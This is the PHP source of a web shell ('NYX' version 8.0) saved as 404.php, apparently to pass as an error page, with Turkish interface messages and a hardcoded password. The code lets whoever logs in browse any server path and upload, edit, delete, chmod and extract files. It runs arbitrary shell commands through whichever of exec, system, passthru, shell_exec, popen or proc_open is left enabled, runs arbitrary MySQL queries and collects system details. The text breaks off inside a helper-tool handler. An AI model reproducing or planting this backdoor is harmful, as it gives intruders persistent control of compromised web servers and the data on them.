404.php

0,
‘path’ => ‘/’,
‘domain’ => ”,
‘secure’ => (!empty($_SERVER[‘HTTPS’]) && $_SERVER[‘HTTPS’] !== ‘off’),
‘httponly’ => true,
‘samesite’ => ‘Strict’,
]);
session_start();
}

const NYX_VERSION = ‘8.0’;
const NYX_KEY = ‘nyxbaba’;
const NYX_SELF = ‘Rainbow.php’;
const NYX_BG_URL = ‘https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExM3p3aTZma2EyYW95dmwzY3U0dW9vMmhodWoyOG4zeHRwM2hqcHhwZSZlcD12MV9naWZzX3NlYXJjaCZjdD1n/Kx4eEsM11o0ahK7KAM/200.webp’;
const NYX_SESSION_TTL = 3600;

function nx_escape($v): string {
return htmlspecialchars((string)$v, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, ‘UTF-8’);
}

function nx_js_attr($v): string {
$json = json_encode($v, JSON_UNESCAPED_UNICODE | JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
if ($json === false) $json = ‘””‘;
return $json;
}

function nx_enc(string $path): string {
return rtrim(strtr(base64_encode($path), ‘+/’, ‘-_’), ‘=’);
}

function nx_dec(string $s): ?string {
if ($s === ”) return null;
$d = base64_decode(strtr($s, ‘-_’, ‘+/’), true);
return $d === false ? null : $d;
}

function nx_safe_path(string $base, string $rel): ?string {
$baseReal = realpath($base);
if ($baseReal === false) return null;

$rel = str_replace(‘\\’, ‘/’, $rel);
if ($rel === ” || strpos($rel, “\0”) !== false) return null;

if (DIRECTORY_SEPARATOR === ‘\\’ && strpos($rel, ‘:’) !== false) return null;

foreach (explode(‘/’, $rel) as $p) {
if ($p === ‘..’) return null;
}

$candidate = $baseReal . DIRECTORY_SEPARATOR . str_replace(‘/’, DIRECTORY_SEPARATOR, $rel);
$candidateReal = realpath($candidate);

if ($candidateReal === false) {
$parent = realpath(dirname($candidate));
if ($parent === false) return null;
if ($parent !== $baseReal && strpos($parent . DIRECTORY_SEPARATOR, $baseReal . DIRECTORY_SEPARATOR) !== 0) {
return null;
}
return $candidate;
}

if ($candidateReal !== $baseReal && strpos($candidateReal . DIRECTORY_SEPARATOR, $baseReal . DIRECTORY_SEPARATOR) !== 0) {
return null;
}
return $candidateReal;
}

function nx_fmt_size($b): string {
if ($b === false || $b === null || $b < 0) return '—'; if ($b >= 1073741824) return number_format($b / 1073741824, 2) . ‘ GB’;
if ($b >= 1048576) return number_format($b / 1048576, 2) . ‘ MB’;
if ($b >= 1024) return number_format($b / 1024, 2) . ‘ KB’;
return $b . ‘ B’;
}

function nx_ext(string $f): string {
$f = rtrim($f, ‘/’);
$p = strrpos($f, ‘.’);
return $p === false ? ” : strtolower(substr($f, $p + 1));
}

function nx_is_archive(string $f): bool {
$l = strtolower($f);
foreach ([‘.tar.gz’, ‘.tar.bz2’, ‘.tar.xz’] as $e) {
if (substr($l, -strlen($e)) === $e) return true;
}
return in_array(nx_ext($f), [‘zip’,’tar’,’gz’,’tgz’,’bz2′,’rar’,’7z’,’xz’,’tbz2′,’txz’], true);
}

function nx_perms_str($perms): string {
if ($perms === false || $perms === null) return ‘??????????’;
$i = ”;
if (($perms & 0xC000) === 0xC000) $i = ‘s’;
elseif (($perms & 0xA000) === 0xA000) $i = ‘l’;
elseif (($perms & 0x8000) === 0x8000) $i = ‘-‘;
elseif (($perms & 0x6000) === 0x6000) $i = ‘b’;
elseif (($perms & 0x4000) === 0x4000) $i = ‘d’;
elseif (($perms & 0x2000) === 0x2000) $i = ‘c’;
elseif (($perms & 0x1000) === 0x1000) $i = ‘p’;
else $i = ‘u’;
$i .= (($perms & 0x0100) ? ‘r’ : ‘-‘);
$i .= (($perms & 0x0080) ? ‘w’ : ‘-‘);
$i .= (($perms & 0x0040) ? (($perms & 0x0800) ? ‘s’ : ‘x’) : (($perms & 0x0800) ? ‘S’ : ‘-‘));
$i .= (($perms & 0x0020) ? ‘r’ : ‘-‘);
$i .= (($perms & 0x0010) ? ‘w’ : ‘-‘);
$i .= (($perms & 0x0008) ? (($perms & 0x0400) ? ‘s’ : ‘x’) : (($perms & 0x0400) ? ‘S’ : ‘-‘));
$i .= (($perms & 0x0004) ? ‘r’ : ‘-‘);
$i .= (($perms & 0x0002) ? ‘w’ : ‘-‘);
$i .= (($perms & 0x0001) ? (($perms & 0x0200) ? ‘t’ : ‘x’) : (($perms & 0x0200) ? ‘T’ : ‘-‘));
return $i;
}

function nx_writable(string $path): bool {
if (!file_exists($path)) return false;

if (is_dir($path)) {
if (is_writable($path)) return true;
try {
$suffix = ‘.nx_’ . bin2hex(random_bytes(8));
} catch (Throwable $e) {
$suffix = ‘.nx_’ . md5((string)mt_rand() . (string)microtime(true));
}
$test = rtrim($path, ‘/\\’) . DIRECTORY_SEPARATOR . $suffix;
$h = @fopen($test, ‘x’);
if ($h === false) return false;
@fclose($h);
@unlink($test);
return true;
}

return is_writable($path);
}

function nx_run(string $cmd): array {
$output = ”;
$code = -1;

$rawDisabled = (string)@ini_get(‘disable_functions’);
$disabled = array_filter(array_map(‘strtolower’, array_map(‘trim’, explode(‘,’, $rawDisabled))));

$priority = [‘exec’, ‘system’, ‘passthru’, ‘shell_exec’, ‘popen’, ‘proc_open’];
$fn = null;
foreach ($priority as $f) {
if (function_exists($f) && !in_array($f, $disabled, true)) { $fn = $f; break; }
}
if ($fn === null) return [‘output’ => ‘Komut fonksiyonlari devre disi.’, ‘code’ => -1];

try {
switch ($fn) {
case ‘exec’:
$lines = [];
@exec($cmd . ‘ 2>&1’, $lines, $code);
$output = implode(“\n”, $lines);
break;
case ‘system’:
ob_start();
@system($cmd . ‘ 2>&1’, $code);
$output = (string)ob_get_clean();
break;
case ‘passthru’:
ob_start();
@passthru($cmd . ‘ 2>&1’, $code);
$output = (string)ob_get_clean();
break;
case ‘shell_exec’:
$marker = ‘__NX_EXIT_’ . bin2hex(random_bytes(4)) . ‘__’;
$raw = (string)@shell_exec($cmd . ‘ 2>&1; echo “‘ . $marker . ‘$?”‘);
if (preg_match(‘/’ . preg_quote($marker, ‘/’) . ‘(\d+)\s*$/’, $raw, $m)) {
$code = (int)$m[1];
$output = (string)preg_replace(‘/’ . preg_quote($marker, ‘/’) . ‘\d+\s*$/’, ”, $raw);
} else {
$code = ($raw === ”) ? 1 : 0;
$output = $raw;
}
break;
case ‘popen’:
$h = @popen($cmd . ‘ 2>&1’, ‘r’);
if (is_resource($h)) {
$output = ”;
while (!feof($h)) {
$chunk = fread($h, 4096);
if ($chunk === false) break;
$output .= $chunk;
}
$code = pclose($h);
}
break;
case ‘proc_open’:
$d = [0 => [‘pipe’,’r’], 1 => [‘pipe’,’w’], 2 => [‘pipe’,’w’]];
$p = @proc_open($cmd, $d, $pipes);
if (is_resource($p)) {
fclose($pipes[0]);
$output = (string)stream_get_contents($pipes[1]);
fclose($pipes[1]);
$err = (string)stream_get_contents($pipes[2]);
fclose($pipes[2]);
$code = proc_close($p);
if ($err !== ”) $output .= “\n” . $err;
}
break;
}
} catch (Throwable $e) {
$output = ‘Hata: ‘ . $e->getMessage();
$code = -1;
}

return [‘output’ => trim($output), ‘code’ => (int)$code];
}

function nx_rm_recursive(string $path): bool {
if (is_link($path)) return @unlink($path);
if (!file_exists($path)) return false;
if (is_file($path)) return @unlink($path);
if (!is_dir($path)) return false;
$items = @scandir($path);
if ($items === false) return false;
foreach ($items as $it) {
if ($it === ‘.’ || $it === ‘..’) continue;
$child = $path . DIRECTORY_SEPARATOR . $it;
if (is_dir($child) && !is_link($child)) nx_rm_recursive($child);
else @unlink($child);
}
return @rmdir($path);
}

function nx_server_ip(): string {
static $ip = null;
if ($ip !== null) return $ip;
if (!empty($_SERVER[‘SERVER_ADDR’])) return $ip = (string)$_SERVER[‘SERVER_ADDR’];
if (!empty($_SERVER[‘LOCAL_ADDR’])) return $ip = (string)$_SERVER[‘LOCAL_ADDR’];
return $ip = ‘Bilinmiyor’;
}

function nx_user_info(): array {
static $cache = null;
if ($cache !== null) return $cache;

$user = ‘Bilinmiyor’;
$id = ‘Bilinmiyor’;

if (function_exists(‘posix_getpwuid’) && function_exists(‘posix_geteuid’)) {
$euid = posix_geteuid();
$pw = @posix_getpwuid($euid);
if ($pw && isset($pw[‘name’])) $user = (string)$pw[‘name’];

$egid = function_exists(‘posix_getegid’) ? posix_getegid() : null;
$idStr = ‘uid=’ . $euid;
if ($egid !== null) {
$idStr .= ‘ gid=’ . $egid;
if (function_exists(‘posix_getgrgid’)) {
$gr = @posix_getgrgid($egid);
if ($gr && isset($gr[‘name’])) $idStr .= ‘(‘ . $gr[‘name’] . ‘)’;
}
}
$id = $idStr;
} else {
$w = nx_run(‘whoami’);
if ($w[‘code’] === 0 && $w[‘output’] !== ”) $user = trim($w[‘output’]);
$i = nx_run(‘id’);
if ($i[‘code’] === 0 && $i[‘output’] !== ”) $id = trim($i[‘output’]);
}

return $cache = [‘user’ => $user, ‘id’ => $id];
}

function nx_type_label(string $file, string $full): string {
if (@is_link($full)) return ‘LINK’;
if (@is_dir($full)) return ‘DIR’;
$l = strtolower($file);
if (substr($l, -8) === ‘.tar.bz2’) return ‘TAR.BZ2’;
if (substr($l, -7) === ‘.tar.gz’) return ‘TAR.GZ’;
if (substr($l, -7) === ‘.tar.xz’) return ‘TAR.XZ’;
$e = nx_ext($file);
return $e === ” ? ‘DOSYA’ : strtoupper($e);
}

function nx_icon(string $file): string {
if (basename($file) === ‘error_log’) return ‘LOG’;
if (in_array(basename($file), [‘.htaccess’, ‘.htpasswd’, ‘.env’], true)) return ‘CFG’;
$e = nx_ext($file);
$map = [
‘IMG’ => [‘apng’,’avif’,’gif’,’jpg’,’jpeg’,’jfif’,’pjpeg’,’pjp’,’png’,’svg’,’webp’,’ico’,’bmp’,’tiff’],
‘AUD’ => [‘wav’,’m4a’,’m4b’,’mp3′,’ogg’,’webm’,’mpc’,’flac’,’aac’],
‘VID’ => [‘mp4′,’mov’,’avi’,’mkv’,’webm’,’flv’,’wmv’,’m4v’],
‘PHP’ => [‘php’,’phtml’,’php3′,’php4′,’php5′,’php7′,’phps’],
‘WEB’ => [‘html’,’htm’,’css’,’js’,’jsx’,’ts’,’tsx’,’vue’,’svelte’],
‘SRC’ => [‘py’,’rb’,’java’,’c’,’cpp’,’cs’,’go’,’swift’,’kt’,’sh’,’bash’,’zsh’,’sql’,’json’,’xml’,’yaml’,’yml’],
‘CFG’ => [‘ini’,’conf’,’env’,’cnf’,’config’,’tpl’,’twig’,’blade’],
‘ARC’ => [‘zip’,’rar’,’tar’,’gz’,’7z’,’bz2′,’xz’,’iso’,’jar’,’tgz’,’tbz2′,’txz’],
‘DOC’ => [‘pdf’,’doc’,’docx’,’xls’,’xlsx’,’ppt’,’pptx’,’odt’,’ods’,’odp’,’rtf’,’txt’,’md’,’log’],
];
foreach ($map as $label => $exts) {
if (in_array($e, $exts, true)) return $label;
}
return ‘FILE’;
}

function nx_set_msg(string $msg, string $type): void {
$_SESSION[‘nx_msg’] = $msg;
$_SESSION[‘nx_msg_type’] = $type;
}

function nx_csrf_token(): string {
if (empty($_SESSION[‘nx_csrf’])) {
try {
$_SESSION[‘nx_csrf’] = bin2hex(random_bytes(32));
} catch (Throwable $e) {
$_SESSION[‘nx_csrf’] = hash(‘sha256’, uniqid(”, true) . mt_rand());
}
}
return (string)$_SESSION[‘nx_csrf’];
}

function nx_csrf_field(): string {
return ‘‘;
}

function nx_csrf_check(): void {
if (($_SERVER[‘REQUEST_METHOD’] ?? ”) !== ‘POST’) return;
if (!isset($_POST[‘nyx_key’])) {
$provided = (string)($_POST[‘nx_csrf’] ?? ”);
$expected = (string)($_SESSION[‘nx_csrf’] ?? ”);
if ($expected === ” || !hash_equals($expected, $provided)) {
http_response_code(403);
nx_set_msg(‘CSRF dogrulama hatasi. Sayfa yenileniyor.’, ‘error’);
$path = defined(‘NX_PATH’) ? NX_PATH : ‘/’;
header(‘Location: ?p=’ . urlencode(nx_enc($path)));
exit;
}
}
}

function nx_redirect(string $path): void {
$url = ‘?p=’ . urlencode(nx_enc($path));
if (headers_sent()) {
echo ‘‘;
exit;
}
header(‘Location: ‘ . $url);
exit;
}

function nx_render_login(?string $err = null): void {
while (ob_get_level() > 0) { ob_end_clean(); }
$errHtml = $err !== null ? ‘

‘ : ”;
$bgUrl = nx_escape(NYX_BG_URL);
echo ‘

‘;
exit;
}

function nx_check_auth(): void {
if (isset($_GET[‘logout’])) {
$_SESSION = [];
if (ini_get(‘session.use_cookies’)) {
$p = session_get_cookie_params();
setcookie(session_name(), ”, [
‘expires’ => time() – 42000,
‘path’ => $p[‘path’],
‘domain’ => $p[‘domain’],
‘secure’ => $p[‘secure’],
‘httponly’ => $p[‘httponly’],
‘samesite’ => $p[‘samesite’] ?? ‘Strict’,
]);
}
session_destroy();
$clean = strtok((string)($_SERVER[‘REQUEST_URI’] ?? NYX_SELF), ‘?’);
if ($clean === false || $clean === ”) $clean = NYX_SELF;
if (headers_sent()) echo ‘‘;
else header(‘Location: ‘ . $clean);
exit;
}

if (!empty($_SESSION[‘nx_auth’]) && $_SESSION[‘nx_auth’] === true) {
if (!empty($_SESSION[‘nx_last’]) && (time() – (int)$_SESSION[‘nx_last’] > NYX_SESSION_TTL)) {
$_SESSION = [];
session_destroy();
nx_render_login(‘Oturum suresi doldu. Tekrar giris yapin.’);
}
if (array_key_exists(‘nx_ua’, $_SESSION) && $_SESSION[‘nx_ua’] !== ($_SERVER[‘HTTP_USER_AGENT’] ?? ”)) {
$_SESSION = [];
session_destroy();
nx_render_login(‘Oturum dogrulamasi basarisiz.’);
}
$_SESSION[‘nx_last’] = time();
return;
}

if (($_SERVER[‘REQUEST_METHOD’] ?? ”) === ‘POST’ && isset($_POST[‘nyx_key’])) {
$provided = trim((string)$_POST[‘nyx_key’]);
if (hash_equals(NYX_KEY, $provided)) {
session_regenerate_id(true);
$_SESSION[‘nx_auth’] = true;
$_SESSION[‘nx_login’] = time();
$_SESSION[‘nx_last’] = time();
$_SESSION[‘nx_ua’] = $_SERVER[‘HTTP_USER_AGENT’] ?? ”;
try {
$_SESSION[‘nx_csrf’] = bin2hex(random_bytes(32));
} catch (Throwable $e) {
$_SESSION[‘nx_csrf’] = hash(‘sha256’, uniqid(”, true) . mt_rand());
}
if (headers_sent()) echo ‘‘;
else header(‘Location: ‘ . NYX_SELF);
exit;
}
usleep(400000);
nx_render_login(‘Gecersiz sifre.’);
}

nx_render_login();
}

nx_check_auth();

$scriptPath = str_replace(‘\\’, ‘/’, dirname(__FILE__));
$currentPath = $scriptPath;

if (isset($_GET[‘p’]) && $_GET[‘p’] !== ”) {
$decoded = nx_dec((string)$_GET[‘p’]);
if ($decoded !== null && $decoded !== ”) {
$decoded = str_replace(‘\\’, ‘/’, $decoded);
$real = realpath($decoded);
if ($real !== false && is_dir($real) && is_readable($real)) {
$currentPath = $real;
} else {
nx_set_msg(‘Yol gecersiz veya erisilemiyor.’, ‘error’);
}
} else {
nx_set_msg(‘Gecersiz yol parametresi.’, ‘error’);
}
}

$currentPath = str_replace(‘\\’, ‘/’, $currentPath);
if ($currentPath !== ‘/’ && strlen($currentPath) > 1) $currentPath = rtrim($currentPath, ‘/’);
if ($currentPath === ”) $currentPath = ‘/’;

define(‘NX_PATH’, $currentPath);

$message = (string)($_SESSION[‘nx_msg’] ?? ”);
$messageType = (string)($_SESSION[‘nx_msg_type’] ?? ‘info’);
unset($_SESSION[‘nx_msg’], $_SESSION[‘nx_msg_type’]);

$actionOutput = ”;

if (isset($_GET[‘dl’], $_GET[‘file’])) {
$rel = (string)$_GET[‘file’];
$target = nx_safe_path(NX_PATH, $rel);
if ($target === null || !is_file($target) || !is_readable($target)) {
nx_set_msg(‘Dosya indirilemiyor.’, ‘error’);
nx_redirect(NX_PATH);
}
while (ob_get_level() > 0) ob_end_clean();

$baseName = basename($target);
$asciiFallback = preg_replace(‘/[^\x20-\x7E]/’, ‘_’, $baseName);
$asciiFallback = str_replace([‘”‘, ‘\\’, “\r”, “\n”], ‘_’, (string)$asciiFallback);
if ($asciiFallback === ”) $asciiFallback = ‘download’;

$utf8Name = rawurlencode($baseName);

header(‘Content-Description: File Transfer’);
header(‘Content-Type: application/octet-stream’);
header(‘Content-Disposition: attachment; filename=”‘ . $asciiFallback . ‘”; filename*=UTF-8\’\” . $utf8Name);
header(‘Content-Transfer-Encoding: binary’);
header(‘Expires: 0’);
header(‘Cache-Control: must-revalidate’);
header(‘Pragma: public’);
header(‘Content-Length: ‘ . filesize($target));
@readfile($target);
exit;
}

if (($_SERVER[‘REQUEST_METHOD’] ?? ”) === ‘POST’) {

if (!isset($_POST[‘nyx_key’])) {
nx_csrf_check();
}

if (isset($_POST[‘nx_upload’])) {
if (isset($_FILES[‘upload_file’]) && $_FILES[‘upload_file’][‘error’] === UPLOAD_ERR_OK) {
$name = basename((string)$_FILES[‘upload_file’][‘name’]);
$name = str_replace([“\0″, ‘/’, ‘\\’], ”, $name);
if ($name === ” || $name === ‘.’ || $name === ‘..’) {
nx_set_msg(‘Gecersiz dosya adi.’, ‘error’);
} else {
$target = NX_PATH . ‘/’ . $name;
if (!nx_writable(NX_PATH)) {
nx_set_msg(‘Hedef dizin yazilabilir degil.’, ‘error’);
} elseif (@move_uploaded_file($_FILES[‘upload_file’][‘tmp_name’], $target)) {
nx_set_msg(‘Yuklendi: ‘ . $name, ‘success’);
} else {
nx_set_msg(‘Yukleme basarisiz.’, ‘error’);
}
}
} else {
$errs = [
UPLOAD_ERR_INI_SIZE => ‘php.ini limiti asildi.’,
UPLOAD_ERR_FORM_SIZE => ‘Form limiti asildi.’,
UPLOAD_ERR_PARTIAL => ‘Yarim yukleme.’,
UPLOAD_ERR_NO_FILE => ‘Dosya secilmedi.’,
UPLOAD_ERR_NO_TMP_DIR => ‘Gecici dizin yok.’,
UPLOAD_ERR_CANT_WRITE => ‘Diske yazilamadi.’,
UPLOAD_ERR_EXTENSION => ‘Eklenti engelledi.’,
];
$c = (int)($_FILES[‘upload_file’][‘error’] ?? UPLOAD_ERR_NO_FILE);
nx_set_msg($errs[$c] ?? ‘Bilinmeyen yukleme hatasi.’, ‘error’);
}
nx_redirect(NX_PATH);
}

if (isset($_POST[‘nx_create’])) {
$name = trim((string)($_POST[‘create_name’] ?? ”));
$type = (string)($_POST[‘create_type’] ?? ‘file’);

if ($name === ” || strpos($name, “\0″) !== false || strpos($name, ‘/’) !== false || strpos($name, ‘\\’) !== false || $name === ‘.’ || $name === ‘..’) {
nx_set_msg(‘Gecersiz isim.’, ‘error’);
nx_redirect(NX_PATH);
}

$new = NX_PATH . ‘/’ . $name;
if (file_exists($new)) {
nx_set_msg(‘Bu isim zaten var.’, ‘error’);
nx_redirect(NX_PATH);
}

if ($type === ‘dir’) {
$ok = @mkdir($new, 0755);
nx_set_msg($ok ? ‘Dizin olusturuldu.’ : ‘Dizin olusturulamadi.’, $ok ? ‘success’ : ‘error’);
} else {
$ok = @touch($new);
nx_set_msg($ok ? ‘Dosya olusturuldu.’ : ‘Dosya olusturulamadi.’, $ok ? ‘success’ : ‘error’);
}
nx_redirect(NX_PATH);
}

if (isset($_POST[‘nx_delete’])) {
$rel = (string)($_POST[‘delete_name’] ?? ”);
$target = nx_safe_path(NX_PATH, $rel);

if ($target === null || (!file_exists($target) && !is_link($target))) {
nx_set_msg(‘Oge bulunamadi.’, ‘error’);
nx_redirect(NX_PATH);
}

if (is_dir($target) && !is_link($target)) {
$ok = nx_rm_recursive($target);
nx_set_msg($ok ? ‘Dizin silindi.’ : ‘Dizin silinemedi.’, $ok ? ‘success’ : ‘error’);
} else {
$ok = @unlink($target);
nx_set_msg($ok ? ‘Oge silindi.’ : ‘Silinemedi.’, $ok ? ‘success’ : ‘error’);
}
nx_redirect(NX_PATH);
}

if (isset($_POST[‘nx_rename’])) {
$orig = (string)($_POST[‘rename_original’] ?? ”);
$new = trim((string)($_POST[‘rename_new’] ?? ”));
$src = nx_safe_path(NX_PATH, $orig);

if ($src === null || !file_exists($src)) {
nx_set_msg(‘Kaynak bulunamadi.’, ‘error’);
nx_redirect(NX_PATH);
}

if ($new === ” || strpos($new, “\0″) !== false || strpos($new, ‘/’) !== false || strpos($new, ‘\\’) !== false || $new === ‘.’ || $new === ‘..’) {
nx_set_msg(‘Gecersiz yeni isim.’, ‘error’);
nx_redirect(NX_PATH);
}

$dst = NX_PATH . ‘/’ . $new;
if (file_exists($dst)) {
nx_set_msg(‘Hedef isim zaten var.’, ‘error’);
nx_redirect(NX_PATH);
}

$ok = @rename($src, $dst);
nx_set_msg($ok ? ‘Yeniden adlandirildi.’ : ‘Basarisiz.’, $ok ? ‘success’ : ‘error’);
nx_redirect(NX_PATH);
}

if (isset($_POST[‘nx_chmod’])) {
$rel = (string)($_POST[‘chmod_name’] ?? ”);
$perm = trim((string)($_POST[‘chmod_perm’] ?? ”));
$target = nx_safe_path(NX_PATH, $rel);

if ($target === null || !file_exists($target)) {
nx_set_msg(‘Oge bulunamadi.’, ‘error’);
nx_redirect(NX_PATH);
}
if (!preg_match(‘/^0?[0-7]{3}$/’, $perm)) {
nx_set_msg(‘Gecersiz izin. Ornek: 644 veya 0644’, ‘error’);
nx_redirect(NX_PATH);
}

$oct = octdec($perm);
$ok = @chmod($target, $oct);
nx_set_msg($ok ? ‘Izinler: ‘ . sprintf(‘%04o’, $oct) : ‘Chmod basarisiz.’, $ok ? ‘success’ : ‘error’);
nx_redirect(NX_PATH);
}

if (isset($_POST[‘nx_edit_save’])) {
$rel = (string)($_POST[‘edit_file’] ?? ”);
$content = (string)($_POST[‘edit_content’] ?? ”);
$target = nx_safe_path(NX_PATH, $rel);

if ($target === null || !is_file($target)) {
nx_set_msg(‘Dosya bulunamadi.’, ‘error’);
nx_redirect(NX_PATH);
}
if (!nx_writable($target)) {
nx_set_msg(‘Dosya yazilabilir degil.’, ‘error’);
nx_redirect(NX_PATH);
}

$written = @file_put_contents($target, $content, LOCK_EX);
$ok = ($written !== false);
nx_set_msg($ok ? ‘Kaydedildi.’ : ‘Kaydedilemedi.’, $ok ? ‘success’ : ‘error’);
nx_redirect(NX_PATH);
}

if (isset($_POST[‘nx_archive’])) {
$name = (string)($_POST[‘archive_name’] ?? ”);
$type = (string)($_POST[‘archive_type’] ?? ”);
$target = nx_safe_path(NX_PATH, $name);

if ($target === null || !file_exists($target)) {
nx_set_msg(‘Oge bulunamadi.’, ‘error’);
nx_redirect(NX_PATH);
}

$base = basename($name);
$outName = ”;
$cmd = ”;
if ($type === ‘zip’) {
$outName = $base . ‘.zip’;
$cmd = ‘cd ‘ . escapeshellarg(NX_PATH) . ‘ && zip -rq ‘ . escapeshellarg($outName) . ‘ ‘ . escapeshellarg($name);
} elseif ($type === ‘tar’) {
$outName = $base . ‘.tar.gz’;
$cmd = ‘cd ‘ . escapeshellarg(NX_PATH) . ‘ && tar -czf ‘ . escapeshellarg($outName) . ‘ ‘ . escapeshellarg($name);
}

if ($cmd === ”) {
nx_set_msg(‘Gecersiz arsiv turu.’, ‘error’);
nx_redirect(NX_PATH);
}

$r = nx_run($cmd);
nx_set_msg($r[‘code’] === 0 ? ‘Arsiv: ‘ . $outName : ‘Arsivleme basarisiz.’, $r[‘code’] === 0 ? ‘success’ : ‘error’);
nx_redirect(NX_PATH);
}

if (isset($_POST[‘nx_extract’])) {
$name = (string)($_POST[‘extract_name’] ?? ”);
$target = nx_safe_path(NX_PATH, $name);

if ($target === null || !is_file($target)) {
nx_set_msg(‘Arsiv bulunamadi.’, ‘error’);
nx_redirect(NX_PATH);
}

$base = basename($name);
if ($base === ” || strpos($base, “\0″) !== false) {
nx_set_msg(‘Gecersiz arsiv adi.’, ‘error’);
nx_redirect(NX_PATH);
}

$l = strtolower($base);
$cmd = ”;
if (substr($l, -4) === ‘.zip’) {
$cmd = ‘cd ‘ . escapeshellarg(NX_PATH) . ‘ && unzip -o -qq ‘ . escapeshellarg($base);
} elseif (substr($l, -7) === ‘.tar.gz’ || substr($l, -4) === ‘.tgz’) {
$cmd = ‘cd ‘ . escapeshellarg(NX_PATH) . ‘ && tar -xzf ‘ . escapeshellarg($base);
} elseif (substr($l, -8) === ‘.tar.bz2’ || substr($l, -5) === ‘.tbz2’) {
$cmd = ‘cd ‘ . escapeshellarg(NX_PATH) . ‘ && tar -xjf ‘ . escapeshellarg($base);
} elseif (substr($l, -7) === ‘.tar.xz’ || substr($l, -5) === ‘.txz’) {
$cmd = ‘cd ‘ . escapeshellarg(NX_PATH) . ‘ && tar -xJf ‘ . escapeshellarg($base);
} elseif (substr($l, -4) === ‘.tar’) {
$cmd = ‘cd ‘ . escapeshellarg(NX_PATH) . ‘ && tar -xf ‘ . escapeshellarg($base);
} elseif (substr($l, -3) === ‘.gz’) {
$cmd = ‘cd ‘ . escapeshellarg(NX_PATH) . ‘ && gunzip -kf ‘ . escapeshellarg($base);
} elseif (substr($l, -4) === ‘.bz2’) {
$cmd = ‘cd ‘ . escapeshellarg(NX_PATH) . ‘ && bunzip2 -kf ‘ . escapeshellarg($base);
} elseif (substr($l, -4) === ‘.rar’) {
$cmd = ‘cd ‘ . escapeshellarg(NX_PATH) . ‘ && unrar x -o+ -inul ‘ . escapeshellarg($base);
} elseif (substr($l, -3) === ‘.7z’) {
$cmd = ‘cd ‘ . escapeshellarg(NX_PATH) . ‘ && 7z x -y -bso0 -bsp0 ‘ . escapeshellarg($base);
}

if ($cmd === ”) {
nx_set_msg(‘Desteklenmeyen arsiv.’, ‘error’);
nx_redirect(NX_PATH);
}

$r = nx_run($cmd);
nx_set_msg($r[‘code’] === 0 ? ‘Arsiv acildi.’ : ‘Acilamadi: ‘ . $r[‘output’], $r[‘code’] === 0 ? ‘success’ : ‘error’);
nx_redirect(NX_PATH);
}

if (isset($_POST[‘nx_command’])) {
$cmd = trim((string)($_POST[‘command_input’] ?? ”));
if ($cmd === ”) {
$actionOutput = ‘Komut bos.’;
} else {
$r = nx_run($cmd);
$actionOutput = ‘$ ‘ . $cmd . “\n” . str_repeat(‘─’, 60) . “\n” . ($r[‘output’] !== ” ? $r[‘output’] : ‘(cikti yok)’) . “\n\n[exit code: ” . $r[‘code’] . ‘]’;
}
}

if (isset($_POST[‘nx_search’])) {
$term = trim((string)($_POST[‘search_term’] ?? ”));
if ($term === ”) {
$actionOutput = ‘Arama terimi bos.’;
} else {
$pattern = ‘*’ . $term . ‘*’;
$cmd = ‘find ‘ . escapeshellarg(NX_PATH) . ‘ -maxdepth 3 -iname ‘ . escapeshellarg($pattern) . ‘ 2>/dev/null’;
$r = nx_run($cmd);
$actionOutput = ‘Arama: ‘ . $term . “\n” . str_repeat(‘─’, 60) . “\n” . ($r[‘output’] !== ” ? $r[‘output’] : ‘Sonuc yok.’);
}
}

if (isset($_POST[‘nx_sysinfo’])) {
$isWin = stripos(PHP_OS, ‘WIN’) === 0;
$u = nx_user_info();
$p = [];
$p[] = ‘SISTEM BILGILERI’;
$p[] = str_repeat(‘─’, 60);
$p[] = ‘Kernel : ‘ . php_uname();
$p[] = ‘OS : ‘ . php_uname(‘s’) . ‘ ‘ . php_uname(‘r’);
$p[] = ‘Hostname : ‘ . php_uname(‘n’);
$p[] = ‘PHP : ‘ . PHP_VERSION;
$p[] = ‘Server : ‘ . ($_SERVER[‘SERVER_SOFTWARE’] ?? ‘Bilinmiyor’);
$p[] = ‘Server IP : ‘ . nx_server_ip();
$p[] = ‘Kullanici : ‘ . $u[‘user’];
$p[] = ‘ID : ‘ . $u[‘id’];
$p[] = ”;
if (!$isWin) {
$p[] = ‘DISK’;
$p[] = str_repeat(‘─’, 60);
$p[] = (nx_run(‘df -h 2>/dev/null’)[‘output’] ?: ‘(yok)’);
$p[] = ”;
$p[] = ‘BELLEK’;
$p[] = str_repeat(‘─’, 60);
$p[] = (nx_run(‘free -h 2>/dev/null’)[‘output’] ?: ‘(yok)’);
}
$actionOutput = implode(“\n”, $p);
}

if (isset($_POST[‘nx_db_query’])) {
$host = trim((string)($_POST[‘db_host’] ?? ”));
$user = (string)($_POST[‘db_user’] ?? ”);
$pass = (string)($_POST[‘db_pass’] ?? ”);
$name = trim((string)($_POST[‘db_name’] ?? ”));
$q = trim((string)($_POST[‘db_query’] ?? ”));

if (!function_exists(‘mysqli_connect’)) {
$actionOutput = ‘MySQLi yok.’;
} elseif ($host === ” || $q === ”) {
$actionOutput = ‘Host ve sorgu zorunlu.’;
} else {
$conn = @mysqli_connect($host, $user, $pass, $name);
if (!$conn) {
$actionOutput = ‘Baglanti hatasi: ‘ . mysqli_connect_error();
} else {
@mysqli_set_charset($conn, ‘utf8mb4’);
$res = @mysqli_query($conn, $q);
if ($res === false) {
$actionOutput = ‘Sorgu hatasi: ‘ . mysqli_error($conn);
} elseif ($res instanceof mysqli_result) {
$fields = mysqli_fetch_fields($res);
$header = [];
foreach ($fields as $f) $header[] = $f->name;
$rows = [];
while ($row = mysqli_fetch_assoc($res)) $rows[] = $row;
$out = ‘Sorgu OK — ‘ . count($rows) . ‘ satir’ . “\n” . str_repeat(‘─’, 60) . “\n”;
$out .= implode(‘ | ‘, $header) . “\n”;
$out .= str_repeat(‘─’, max(60, (int)(mb_strlen(implode(‘ | ‘, $header)) * 1.1))) . “\n”;
foreach ($rows as $row) {
$line = [];
foreach ($header as $h) $line[] = $row[$h] === null ? ‘NULL’ : (string)$row[$h];
$out .= implode(‘ | ‘, $line) . “\n”;
}
$actionOutput = $out;
mysqli_free_result($res);
} else {
$actionOutput = ‘Sorgu OK — ‘ . mysqli_affected_rows($conn) . ‘ satir etkilendi.’;
}
mysqli_close($conn);
}
}
}

if (isset($_POST[‘nx_helper’])) {
$tool = (string)($_POST[‘helper_tool’] ?? ”);
